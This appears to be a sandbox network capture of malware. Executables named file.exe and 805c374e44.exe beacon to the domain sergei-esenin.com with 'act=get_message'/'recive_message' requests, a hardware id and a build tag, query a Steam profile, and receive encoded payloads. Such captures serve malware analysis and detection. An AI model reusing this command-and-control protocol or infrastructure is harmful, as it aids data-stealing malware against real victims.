2024-10-22 17:24:31 UTC	15331	OUT	Data Raw: 08 82 f2 71 2c 11 70 1a c5 87 13 6a 32 ee 41 68 3e af 80 7d 02 49 0c ed 29 01 29 60 a5 66 20 8a 54 91 40 2a 2d f7 b4 53 dd e0 e8 cf e2 49 98 57 4a a9 98 4b 90 b2 97 c0 47 9d 97 7b 96 46 18 ec 28 b8 0e fc 5e e2 16 3c 89 4a c9 31 56 1a 07 b7 60 20 e7 a9 01 79 b7 9c 88 68 fa df 83 f0 8d 75 6f 62 2d 40 25 aa 1f cd ae 01 54 e3 9d 6c 61 5f 30 d2 6a b4 cf 5b 50 89 1e ec ba 60 56 9a 89 a4 fa 21 24 b8 85 ca 06 06 70 4f 01 92 49 00 ef c9 17 ca 29 31 62 3a cb b2 2c e7 10 ce f3 b7 11 58 03 dc d5 03 cc 11 b0 82 e6 c9 22 1b 4c a8 c4 c3 31 85 b8 10 72 33 91 5f 2c fd db e0 a9 47 4e 31 e4 0a 24 04 ea 28 04 25 f8 97 c1 35 41 17 5a c7 1d 37 4a 93 96 b8 1d 48 16 e3 81 d5 77 a8 3c f4 36 76 7d 50 ed 5c 4a be 2f e1 37 bd 13 e3 e6 42 a5 f6 4d 36 e9 a7 43 97 14 23 a6 bf 9f 02 56 Data Ascii: q,pj2Ah>}I))`f T@*-SIWJKG{F(^<J1V` yhuob-@%Tla_0j[P`V!$pOI)1b:,X"L1r3_,GN1$(%5AZ7JHw<6v}P\J/7BM6C#V
2024-10-22 17:24:33 UTC	1027	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 17:24:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ul522gnbei0258b8bubs6nohvf; expires=Sat, 15 Feb 2025 11:11:12 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HkF1kjudBVJKkhhmmJjbTZomBuGTxBzLg8%2FXp5kQZ1m%2BVagoHNJgUvmi9mQrk4l%2B4L%2B3J2KrG20Kj5K35Eynwg5Ztm4LabezFHS%2BzPfjCsRVqXJxaf0EAJzrXpWTAO6f9W185Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d6b2e7309594672-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1858&sent=208&recv=602&lost=0&retrans=0&sent_bytes=2846&recv_bytes=572857&delivery_rate=1626052&cwnd=249&unsent_bytes=0&cid=3b734fec513c9c9c&ts=1922&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.8	49714	172.67.206.204	443	6900	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-22 17:24:34 UTC	354	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=avJigIQt1MdSY0ZjN3a6O7NpY6JEYHklfwRXfbRyCKo-1729617862-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: sergei-esenin.com
2024-10-22 17:24:34 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 41 42 35 39 36 32 34 36 34 42 44 44 45 42 34 41 38 44 31 34 36 35 30 35 33 37 39 39 37 43 36 43 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=AB5962464BDDEB4A8D14650537997C6C
2024-10-22 17:24:34 UTC	1020	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 17:24:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=kcn7l9t6c6vnatggcqfp5ak00l; expires=Sat, 15 Feb 2025 11:11:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=abi4We7WX1sbnS8wowURe6mr3%2BUw9NfZBG%2BmHWpDQbkZy%2FHJxWQANyIzoBVe8yo7CQ1tldMh9QGMWuh7P1oa3OligMqjH7xeGcnf6mz%2FBJg2YtuF3%2FdP558C0S6Ak8AUOVwDpg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d6b2e830be246d1-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2137&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2845&recv_bytes=1077&delivery_rate=1729988&cwnd=251&unsent_bytes=0&cid=4be76a7182cdf56c&ts=510&x=0"
2024-10-22 17:24:34 UTC	299	IN	Data Raw: 31 32 34 0d 0a 48 2f 73 48 4e 4b 6c 34 65 44 57 75 52 6c 45 32 35 75 62 32 6f 4d 4d 54 45 34 43 33 7a 33 79 4f 2f 72 37 7a 35 32 57 54 4f 4d 39 45 67 43 56 42 69 30 4a 61 58 64 6f 79 49 51 79 36 79 61 71 50 38 69 73 6d 72 6f 58 2b 53 61 44 50 6a 38 44 4a 56 4b 56 6b 34 48 4b 53 61 56 48 31 56 77 70 55 77 43 49 2b 57 38 69 44 6a 73 58 68 50 7a 48 6d 77 2b 31 47 76 74 4b 63 6c 73 56 66 6f 30 58 6a 5a 4e 6c 79 46 70 4e 61 45 45 48 61 4e 6d 74 71 79 62 72 5a 6b 66 73 6d 50 62 4b 47 2b 6c 4b 2f 7a 34 33 64 31 6c 50 50 46 37 78 72 6e 6d 5a 5a 39 56 63 4b 56 4d 41 69 50 6c 76 49 67 34 37 46 34 54 38 78 35 73 50 74 52 72 37 53 6e 4a 62 46 58 36 4e 46 34 32 54 5a 63 68 61 54 57 68 42 42 32 6a 5a 72 61 73 6d 36 32 5a 48 37 4a 6a 32 79 68 76 70 53 76 38 2b 4e 33 64 Data Ascii: 124H/sHNKl4eDWuRlE25ub2oMMTE4C3z3yO/r7z52WTOM9EgCVBi0JaXdoyIQy6yaqP8ismroX+SaDPj8DJVKVk4HKSaVH1VwpUwCI+W8iDjsXhPzHmw+1GvtKclsVfo0XjZNlyFpNaEEHaNmtqybrZkfsmPbKG+lK/z43d1lPPF7xrnmZZ9VcKVMAiPlvIg47F4T8x5sPtRr7SnJbFX6NF42TZchaTWhBB2jZrasm62ZH7Jj2yhvpSv8+N3d
2024-10-22 17:24:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.8	49726	92.122.104.90	443	7860	C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-22 17:25:15 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-10-22 17:25:16 UTC	1917	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https:// [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Tue, 22 Oct 2024 17:25:16 GMT Content-Length: 35741 Connection: close Set-Cookie: sessionid=0944ef9f3fc80639c71eb7a5; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7C39783226b5b7f60540b70d42aee72c33; Path=/; Secure; HttpOnly; SameSite=None
2024-10-22 17:25:16 UTC	14467	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-10-22 17:25:16 UTC	10109	IN	Data Raw: 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 64 69 73 63 75 73 73 69 6f 6e 73 2f 22 3e 0d 0a 09 09 09 09 09 09 44 69 73 63 75 73 73 69 6f 6e 73 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 77 6f 72 6b 73 68 6f 70 2f 22 3e 0d 0a 09 09 09 09 09 09 57 6f 72 6b 73 68 6f 70 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 Data Ascii: <a class="submenuitem" href="https://steamcommunity.com/discussions/">Discussions</a><a class="submenuitem" href="https://steamcommunity.com/workshop/">Workshop</a><a class="submenuit
2024-10-22 17:25:16 UTC	11165	IN	Data Raw: 75 6f 74 3b 2c 26 71 75 6f 74 3b 46 52 4f 4d 5f 57 45 42 26 71 75 6f 74 3b 3a 74 72 75 65 2c 26 71 75 6f 74 3b 57 45 42 53 49 54 45 5f 49 44 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 43 6f 6d 6d 75 6e 69 74 79 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 42 41 53 45 5f 55 52 4c 5f 53 48 41 52 45 44 5f 43 44 4e 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 73 68 61 72 65 64 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 5c 2f 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 43 4c 41 4e 5f 43 44 4e 5f 41 53 53 45 54 5f 55 52 4c 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 63 6c 61 6e 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 5c 2f 26 71 75 6f 74 3b 2c 26 71 Data Ascii: uot;,"FROM_WEB":true,"WEBSITE_ID":"Community","BASE_URL_SHARED_CDN":"https:\/\/shared.cloudflare.steamstatic.com\/","CLAN_CDN_ASSET_URL":"https:\/\/clan.cloudflare.steamstatic.com\/",&q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.8	49729	172.67.206.204	443	7860	C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-22 17:25:17 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: sergei-esenin.com
2024-10-22 17:25:17 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-22 17:25:17 UTC	562	IN	HTTP/1.1 403 Forbidden Date: Tue, 22 Oct 2024 17:25:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uQmuUw1XsNFvlxM3uc8ja8IYF5MCYDgkwV8z%2FHjdDFz%2BmAi%2BNSCFZ2BC9VV9hUOI8qOZ37hkL8Kt5s%2FXw5LjaOQEqt67vCk3zEKqG0jCqQbN4tgOXWo8Fn32zNFcgPza4HUEXA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d6b2f8e5aff46e0-DFW
2024-10-22 17:25:17 UTC	807	IN	Data Raw: 31 31 35 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1154<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2024-10-22 17:25:17 UTC	1369	IN	Data Raw: 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 29 20 7b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 63 6f 6f 6b 69 65 45 6c 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e Data Ascii: cgi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.getElemen
2024-10-22 17:25:17 UTC	1369	IN	Data Raw: 65 73 73 2d 6d 61 6e 61 67 65 6d 65 6e 74 2f 70 68 69 73 68 69 6e 67 2d 61 74 74 61 63 6b 2f 22 20 63 6c 61 73 73 3d 22 63 66 2d 62 74 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 34 30 34 30 34 30 3b 20 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 62 6f 72 64 65 72 3a 20 30 3b 22 3e 4c 65 61 72 6e 20 4d 6f 72 65 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 66 6f 72 6d 20 61 63 74 69 6f 6e 3d 22 2f 63 64 6e 2d 63 67 69 2f 70 68 69 73 68 2d 62 79 70 61 73 73 22 20 6d 65 74 68 6f 64 3d 22 47 45 54 22 20 65 6e 63 74 79 70 65 3d 22 74 65 78 74 2f 70 6c 61 69 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: ess-management/phishing-attack/" class="cf-btn" style="background-color: #404040; color: #fff; border: 0;">Learn More</a> <form action="/cdn-cgi/phish-bypass" method="GET" enctype="text/plain">
2024-10-22 17:25:17 UTC	899	IN	Data Raw: 37 36 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 75 6c 6c 3b 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 3c 73 70 61 6e 3e 50 65 72 66 6f 72 6d 61 6e 63 65 20 26 61 6d 70 3b 20 73 65 63 75 72 69 74 79 20 62 79 3c 2f 73 70 61 6e 3e 20 3c 61 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 35 78 78 2d 65 72 72 6f 72 2d 6c 61 6e 64 Data Ascii: 76</span> <span class="cf-footer-separator sm:hidden">•</span> </span> <span class="cf-footer-item sm:block sm:mb-1"><span>Performance & security by</span> <a rel="noopener noreferrer" href="https://www.cloudflare.com/5xx-error-land
2024-10-22 17:25:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.8	49730	172.67.206.204	443	7860	C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-22 17:25:18 UTC	354	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=Yr.HpxPk7vi8nnh.cY519nWPHmn_PpcgDrLF.OVkfpw-1729617917-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: sergei-esenin.com
2024-10-22 17:25:18 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-22 17:25:18 UTC	1022	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 17:25:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=6ctfnp5na5o3ga86sgbcvsdp61; expires=Sat, 15 Feb 2025 11:11:57 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6VojDO%2FC3WABICGlLZmQOcei6mLI9a%2BIxw%2B9rTdE2eGAghXe4zUCi%2F0%2F0Ox5Ti3bxeM3LfTAdRiwDHdGwxx6cYmlS9THSKaL6flHNolgPHyHfHYLU4a3FINYsfz%2BIAt2P8z6Kg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d6b2f948d75e6f6-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1520&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=1042&delivery_rate=1854033&cwnd=251&unsent_bytes=0&cid=2a44554f27ba2c22&ts=522&x=0"
2024-10-22 17:25:18 UTC	347	IN	Data Raw: 63 63 32 0d 0a 4b 6f 2f 5a 31 6f 70 67 79 54 36 70 67 55 31 39 51 77 78 54 33 4d 67 45 59 66 65 55 36 32 79 39 52 6a 5a 42 6c 6a 61 79 75 58 56 52 72 61 2f 30 73 46 54 6c 48 4e 72 6b 62 30 63 33 66 69 61 35 35 43 59 41 6b 37 62 52 43 74 77 71 52 53 53 36 46 4d 54 55 56 78 44 70 75 4c 72 35 42 65 55 63 7a 50 6c 76 52 78 68 33 63 62 6d 6d 4a 6c 76 56 38 59 45 4f 33 43 70 55 49 50 31 5a 77 74 55 57 51 75 4f 2b 76 75 38 44 72 56 2f 46 37 43 67 59 4a 6d 30 35 73 71 46 70 43 5a 71 32 78 30 37 59 50 42 52 37 74 48 76 58 7a 52 52 6e 37 71 71 39 71 42 33 6c 52 59 76 6b 49 31 39 35 4c 6a 4b 35 71 6d 67 48 6b 2f 2b 44 42 4e 55 69 56 53 58 38 52 74 76 66 48 55 4c 74 76 62 2f 6c 43 72 6c 53 7a 2b 73 6a 48 69 78 74 63 66 44 71 59 52 76 56 72 73 6c 64 37 53 64 46 4d 75 Data Ascii: cc2Ko/Z1opgyT6pgU19QwxT3MgEYfeU62y9RjZBljayuXVRra/0sFTlHNrkb0c3fia55CYAk7bRCtwqRSS6FMTUVxDpuLr5BeUczPlvRxh3cbmmJlvV8YEO3CpUIP1ZwtUWQuO+vu8DrV/F7CgYJm05sqFpCZq2x07YPBR7tHvXzRRn7qq9qB3lRYvkI195LjK5qmgHk/+DBNUiVSX8RtvfHULtvb/lCrlSz+sjHixtcfDqYRvVrsld7SdFMu
2024-10-22 17:25:18 UTC	1369	IN	Data Raw: 43 74 76 62 72 70 44 36 74 4f 77 2b 67 6b 47 6a 4e 6c 4f 4c 4f 6e 5a 67 36 66 2b 59 6f 4f 32 43 35 65 4c 50 35 51 33 64 59 52 53 4f 33 37 2b 71 67 46 73 78 79 54 6f 77 77 61 4d 57 6b 39 71 4f 68 63 51 34 71 34 6b 45 37 59 4b 42 52 37 74 46 7a 56 32 42 52 44 34 72 69 38 34 78 43 72 54 73 33 75 4b 67 30 6e 61 7a 2b 30 71 58 51 4a 6d 2f 43 4b 42 39 51 74 55 53 54 77 46 4a 36 62 45 46 43 74 34 2f 54 4a 44 36 42 51 77 66 51 76 58 7a 34 67 4b 50 36 74 61 6b 50 4e 74 6f 30 50 32 79 56 51 4c 66 70 51 33 4e 30 5a 52 65 4b 39 76 75 67 46 6f 56 54 44 34 69 49 55 4c 6d 34 30 73 36 35 67 44 35 54 7a 79 55 43 66 49 30 78 6a 72 42 54 2b 33 42 52 61 72 34 36 33 35 67 79 73 53 6f 76 38 59 51 5a 68 61 54 33 2b 38 69 59 4e 6b 50 6d 62 44 38 30 68 57 6a 48 34 55 64 62 57 46 Data Ascii: CtvbrpD6tOw+gkGjNlOLOnZg6f+YoO2C5eLP5Q3dYRSO37+qgFsxyTowwaMWk9qOhcQ4q4kE7YKBR7tFzV2BRD4ri84xCrTs3uKg0naz+0qXQJm/CKB9QtUSTwFJ6bEFCt4/TJD6BQwfQvXz4gKP6takPNto0P2yVQLfpQ3N0ZReK9vugFoVTD4iIULm40s65gD5TzyUCfI0xjrBT+3BRar4635gysSov8YQZhaT3+8iYNkPmbD80hWjH4UdbWF
2024-10-22 17:25:18 UTC	1369	IN	Data Raw: 33 35 67 79 73 53 6f 76 38 59 51 5a 68 61 54 33 2b 38 69 59 50 6e 50 61 43 42 4e 73 6b 55 79 37 78 56 39 66 59 47 6b 2f 6e 74 62 50 73 44 71 4a 52 7a 65 4d 6f 47 79 52 38 4e 4c 65 6d 61 6b 50 62 74 6f 34 57 6e 33 77 55 44 50 4e 43 30 2f 51 55 57 65 54 37 71 36 59 62 36 31 76 48 6f 33 64 66 4a 6d 73 35 74 61 78 75 41 34 66 7a 68 77 58 65 4c 6c 49 69 2b 56 6a 57 32 78 5a 49 36 37 65 30 37 77 57 35 54 73 37 6c 50 52 56 68 49 48 47 35 73 69 5a 62 31 63 43 5a 47 63 34 79 46 68 62 33 57 74 37 63 41 51 6a 79 39 61 32 6f 42 61 63 63 6b 36 4d 6b 48 79 31 70 4f 62 69 75 62 67 79 61 2f 35 73 50 30 79 70 47 4a 50 52 64 33 74 51 62 51 65 43 38 75 65 4d 49 70 6c 6a 4d 34 6d 39 52 59 57 6b 70 2f 76 49 6d 4e 59 58 37 68 53 44 55 4b 46 31 6a 36 78 72 4a 6d 78 42 45 72 65 Data Ascii: 35gysSov8YQZhaT3+8iYPnPaCBNskUy7xV9fYGk/ntbPsDqJRzeMoGyR8NLemakPbto4Wn3wUDPNC0/QUWeT7q6Yb61vHo3dfJms5taxuA4fzhwXeLlIi+VjW2xZI67e07wW5Ts7lPRVhIHG5siZb1cCZGc4yFhb3Wt7cAQjy9a2oBacck6MkHy1pObiubgya/5sP0ypGJPRd3tQbQeC8ueMIpljM4m9RYWkp/vImNYX7hSDUKF1j6xrJmxBEre
2024-10-22 17:25:18 UTC	188	IN	Data Raw: 70 56 50 4b 35 79 6f 61 4a 57 6b 31 75 4b 55 6d 54 64 58 78 6b 55 36 48 5a 48 73 45 77 52 62 78 34 56 64 58 6f 36 4c 30 37 77 37 72 42 49 76 76 4c 42 4d 70 59 54 65 33 70 6d 77 4b 6e 76 71 43 43 74 4d 74 55 53 58 31 55 64 58 61 45 30 54 6e 76 62 66 72 44 61 52 54 77 36 4e 68 58 79 5a 32 63 65 62 71 51 78 53 65 2b 49 39 4f 77 47 70 4e 59 2f 4e 59 6b 49 4e 58 52 4f 53 39 73 75 30 4f 71 6c 72 44 35 69 63 62 49 47 67 33 76 61 56 69 42 70 54 35 6a 51 4c 52 4c 6c 55 69 2b 46 2f 66 30 42 49 49 6f 2f 75 7a 38 45 4c 7a 48 50 72 67 4f 51 67 78 59 6e 47 68 35 48 0d 0a Data Ascii: pVPK5yoaJWk1uKUmTdXxkU6HZHsEwRbx4VdXo6L07w7rBIvvLBMpYTe3pmwKnvqCCtMtUSX1UdXaE0TnvbfrDaRTw6NhXyZ2cebqQxSe+I9OwGpNY/NYkINXROS9su0OqlrD5icbIGg3vaViBpT5jQLRLlUi+F/f0BIIo/uz8ELzHPrgOQgxYnGh5H
